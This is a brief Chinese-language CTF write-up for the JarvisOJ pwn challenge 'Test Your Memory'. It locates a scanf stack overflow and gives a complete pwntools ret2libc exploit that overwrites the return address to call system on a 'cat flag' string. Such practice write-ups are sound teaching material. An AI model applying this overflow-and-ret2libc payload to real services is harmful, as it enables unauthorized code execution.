JarvisOJ pwn Test Your Memory

先找到幾個關鍵函數:

單擊main看一下函數結構:

點進mem_test看下:

找到溢出點:scanf
點進去hint發現了cat flag字符串.....
(問題突然變得很簡單....ret2libc)
exp:

from pwn import *

#p = process('./memory')
p = remote("pwn2.jarvisoj.com","9876")
e = ELF('./memory')

system_addr = e.symbols['system']
cat_flag = 0x080487E0
payload = 'a' * 0x13 + 'bbbb' + p32(system_addr) + p32(0x08048677) + p32(cat_flag)

p.sendline(payload)
p.interactive()

不過這道題system的返回地址如果隨便寫個無效地址會出現讀不出來flag的問題.....
所以最方便的還是找個有效的地址,快樂的get flag!

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章